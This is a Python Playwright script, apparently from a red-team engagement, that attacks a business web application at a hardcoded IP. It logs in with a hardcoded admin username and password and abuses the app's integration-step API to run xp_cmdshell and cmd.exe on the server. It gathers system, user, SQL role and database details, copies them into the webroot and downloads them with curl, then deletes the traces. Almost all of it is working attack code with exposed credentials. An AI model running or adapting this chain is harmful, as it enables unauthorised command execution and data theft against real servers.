#!/usr/bin/env python3
"""Use executeExternalProgram (type 10) to copy file under IIS account.
From source: executeExternalProgram uses Process.Start — runs as IIS app pool."""
import asyncio, re, subprocess, os, time
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1, extra_fields=""):
            fields = "intStepId:4, strStepName:'Test', intStepTypeId:" + str(step_type) + ", intConnectionId:1, intSQLTypeId:3, strSQL: sqlText"
            if extra_fields:
                fields += ", " + extra_fields
            mod_fields = ["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]
            if extra_fields:
                for f in extra_fields.split(","):
                    name_part = f.strip().split(":")[0].strip()
                    if name_part:
                        mod_fields.append(name_part)
            
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{''' + fields + ''', intConcurrencyId:1, strRowState:"Modified", ModifiedFields:''' + str(mod_fields) + '''}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:100]}", flush=True)
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        webroot = "D:\\\\i21App\\\\" + APP
        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"

        # Step 1: Collect sysinfo
        print("\n=== Step 1: Collect sysinfo ===")
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + temp_file + " & whoami >> " + temp_file + " & echo. >> " + temp_file + " & echo ===SQLROLE=== >> " + temp_file + " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DATABASES=== >> " + temp_file + " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DISK=== >> " + temp_file + " & wmic logicaldisk get caption,freespace,size >> " + temp_file + "', no_output"
        await run_step("collect", sql_collect, step_type=1)
        await asyncio.sleep(1)

        # Step 2: Use executeExternalProgram (type 10) to copy file
        # From source: executeExternalProgram uses Process.Start(strFileName, strFirstLine)
        # strFileName = program path, strFirstLine = command line args
        print("\n=== Step 2: executeExternalProgram (copy) ===")
        # cmd.exe /c copy "source" "destination"
        copy_cmd = 'cmd.exe /c copy "' + temp_file + '" "' + webroot + '\\\\resources\\\\js\\\\sysinfo.js" /Y'
        # strFileName = "cmd.exe", strFirstLine = "/c copy ..."
        await run_step("copy_ext", copy_cmd, step_type=10, extra_fields='strFileName:"cmd.exe", strFirstLine:"/c copy \\"' + temp_file + '\\" \\"' + webroot + '\\\\resources\\\\js\\\\sysinfo.js\\" /Y"')
        await asyncio.sleep(2)

        # Step 3: Download
        download_url = f"http://{IP}/{APP}/resources/js/sysinfo.js"
        local_path = f"/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_{IP}_{APP}.txt"
        print(f"\n=== Step 3: Download {download_url} ===")
        dl = subprocess.run(["curl", "-sS", "-m", "30", "-o", local_path, "-w", "%{http_code}", download_url],
                           capture_output=True, text=True, timeout=45)
        code = dl.stdout.strip()
        if code == "200" and os.path.exists(local_path):
            size = os.path.getsize(local_path)
            print(f"  ✅ HTTP {code} size={size}")
            with open(local_path) as f:
                content = f.read()
            print(f"  Content (first 15 lines):")
            for line in content.split("\n")[:15]:
                print(f"    {line[:80]}")
        else:
            print(f"  ❌ HTTP {code}")
        await asyncio.sleep(1)

        # Step 4: Cleanup
        print(f"\n=== Step 4: Cleanup ===")
        await run_step("cleanup", "EXEC xp_cmdshell 'del " + webroot + "\\\\resources\\\\js\\\\sysinfo.js " + temp_file + "', no_output", step_type=1)

        # Verify deleted
        dl2 = subprocess.run(["curl", "-sS", "-m", "10", "-o", "/dev/null", "-w", "%{http_code}", download_url],
                            capture_output=True, text=True, timeout=15)
        print(f"  verify deleted: HTTP {dl2.stdout.strip()}")

        await browser.close()

asyncio.run(main())
